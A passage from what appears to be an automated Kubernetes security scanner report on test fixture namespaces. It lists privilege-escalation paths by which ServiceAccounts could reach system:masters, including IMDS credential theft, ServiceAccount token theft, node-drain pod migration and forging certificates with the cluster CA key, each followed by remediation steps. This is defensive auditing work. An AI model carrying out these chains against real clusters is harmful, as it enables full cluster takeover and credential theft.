    From ServiceAccount/rbac-fixtures/sa-cluster-admin
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/rbac-fixtures/sa-cluster-admin
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/rbac-fixtures/sa-cluster-admin → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/rbac-fixtures/sa-cluster-admin → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/rbac-fixtures/sa-wildcard Cluster 8.3
ServiceAccount/rbac-fixtures/sa-wildcard can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-wildcard → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard

Subject ServiceAccount/rbac-fixtures/sa-wildcard can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/rbac-fixtures/sa-wildcard → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
2. ServiceAccount/rbac-fixtures/sa-wildcard → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-wildcard.
  2. Acting as ServiceAccount/rbac-fixtures/sa-wildcard, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  3. Acting as ServiceAccount/rbac-fixtures/sa-wildcard, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/rbac-fixtures/sa-wildcard
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/rbac-fixtures/sa-wildcard
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/rbac-fixtures/sa-wildcard → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/rbac-fixtures/sa-wildcard → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/secrets-bundle/cross-ns-reader Cluster 8.3
ServiceAccount/secrets-bundle/cross-ns-reader can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/secrets-bundle/cross-ns-reader → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/secrets-bundle/cross-ns-reader

Subject ServiceAccount/secrets-bundle/cross-ns-reader can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/secrets-bundle/cross-ns-reader → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod secrets-bundle/cross-ns-consumer-6c945c9c9d-blz86 falls back to node IAM role via IMDS
2. ServiceAccount/secrets-bundle/cross-ns-reader → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/secrets-bundle/cross-ns-reader.
  2. Acting as ServiceAccount/secrets-bundle/cross-ns-reader, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod secrets-bundle/cross-ns-consumer-6c945c9c9d-blz86 falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/secrets-bundle/cross-ns-reader, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/secrets-bundle/cross-ns-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod secrets-bundle/cross-ns-consumer-6c945c9c9d-blz86 falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/secrets-bundle/cross-ns-reader
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/secrets-bundle/cross-ns-reader → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/secrets-bundle/cross-ns-reader → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/statusspoof-fixtures/default Cluster 8.3
ServiceAccount/statusspoof-fixtures/default can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/statusspoof-fixtures/default → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/statusspoof-fixtures/default

Subject ServiceAccount/statusspoof-fixtures/default can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/statusspoof-fixtures/default → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod statusspoof-fixtures/statusspoof-api-ff8647558-st88g falls back to node IAM role via IMDS
2. ServiceAccount/statusspoof-fixtures/default → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/statusspoof-fixtures/default.
  2. Acting as ServiceAccount/statusspoof-fixtures/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod statusspoof-fixtures/statusspoof-api-ff8647558-st88g falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/statusspoof-fixtures/default, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/statusspoof-fixtures/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod statusspoof-fixtures/statusspoof-api-ff8647558-st88g falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/statusspoof-fixtures/default
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/statusspoof-fixtures/default → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/statusspoof-fixtures/default → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/deepchain-tenant/deepchain-binder Cluster 8.0
ServiceAccount/deepchain-tenant/deepchain-binder can impersonate `system:masters` in 4 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/deepchain-tenant/deepchain-binder → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/deepchain-tenant/deepchain-binder

Subject ServiceAccount/deepchain-tenant/deepchain-binder can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (4 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/deepchain-tenant/deepchain-binder → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the bind verb that satisfies RBAC escalation prevention
2. ServiceAccount/deepchain-tenant/deepchain-binder → ServiceAccount/deepchain-tenant/deepchain-privileged via colocated_sa_token_theft (namespace-admin in deepchain-tenant): can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged
3. ServiceAccount/deepchain-tenant/deepchain-privileged → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
4. ServiceAccount/deepchain-tenant/deepchain-privileged → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/deepchain-tenant/deepchain-binder.
  2. Acting as ServiceAccount/deepchain-tenant/deepchain-binder, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  3. Acting as ServiceAccount/deepchain-tenant/deepchain-binder, the attacker uses the colocated_sa_token_theft technique to reach ServiceAccount/deepchain-tenant/deepchain-privileged via namespace-admin in deepchain-tenant, which gains can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged.
  4. Acting as ServiceAccount/deepchain-tenant/deepchain-privileged, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  5. Acting as ServiceAccount/deepchain-tenant/deepchain-privileged, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  6. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
  2. Step 2 of 4 Co-located ServiceAccount token theft colocated_sa_token_theft

    Administrative control over a namespace implies control over every identity inside it. Someone who can create RoleBindings in a namespace can create a pod that mounts any ServiceAccount there, exec into a pod already running as it, or read its token Secret directly.

    This matters when a namespace hosts an identity more powerful than the namespace itself, for example a controller whose ClusterRoleBinding grants cluster-wide permissions. Namespace-admin then becomes a stepping stone rather than a boundary.

    From ServiceAccount/deepchain-tenant/deepchain-binder → ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted namespace-admin in deepchain-tenant
    Gives the attacker can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged
  3. Step 3 of 4 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  4. Step 4 of 4 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 1 (ServiceAccount/deepchain-tenant/deepchain-binder → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 1 (ServiceAccount/deepchain-tenant/deepchain-binder → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/foothold-ops/foothold-named-execer Cluster 7.9
ServiceAccount/foothold-ops/foothold-named-execer can impersonate `system:masters` in 3 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/foothold-ops/foothold-named-execer → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/foothold-ops/foothold-named-execer

Subject ServiceAccount/foothold-ops/foothold-named-execer can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (3 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/foothold-ops/foothold-named-execer → ServiceAccount/foothold-exec/foothold-reader via pod_exec (create pods/exec|pods/attach): can exec into pods running as ServiceAccount foothold-exec/foothold-reader
2. ServiceAccount/foothold-exec/foothold-reader → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod foothold-exec/foothold-target falls back to node IAM role via IMDS
3. ServiceAccount/foothold-exec/foothold-reader → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/foothold-ops/foothold-named-execer.
  2. Acting as ServiceAccount/foothold-ops/foothold-named-execer, the attacker uses pods/exec (create pods/exec|pods/attach) to open a shell inside ServiceAccount/foothold-exec/foothold-reader and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/foothold-exec/foothold-reader, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod foothold-exec/foothold-target falls back to node IAM role via IMDS.
  4. Acting as ServiceAccount/foothold-exec/foothold-reader, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  5. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 3 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/foothold-ops/foothold-named-execer → ServiceAccount/foothold-exec/foothold-reader
    Permission granted create pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount foothold-exec/foothold-reader
  2. Step 2 of 3 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod foothold-exec/foothold-target falls back to node IAM role via IMDS
  3. Step 3 of 3 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission create pods/exec|pods/attach that enables the first hop (ServiceAccount/foothold-ops/foothold-named-execer → ServiceAccount/foothold-exec/foothold-reader).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission create pods/exec|pods/attach that enables the first hop (ServiceAccount/foothold-ops/foothold-named-execer → ServiceAccount/foothold-exec/foothold-reader).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/imgswap-fixtures/imgswap-patcher Cluster 7.9
ServiceAccount/imgswap-fixtures/imgswap-patcher can impersonate `system:masters` in 3 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/imgswap-fixtures/imgswap-patcher → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/imgswap-fixtures/imgswap-patcher

Subject ServiceAccount/imgswap-fixtures/imgswap-patcher can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (3 hop(s); each step is an RBAC verb the engine validated):
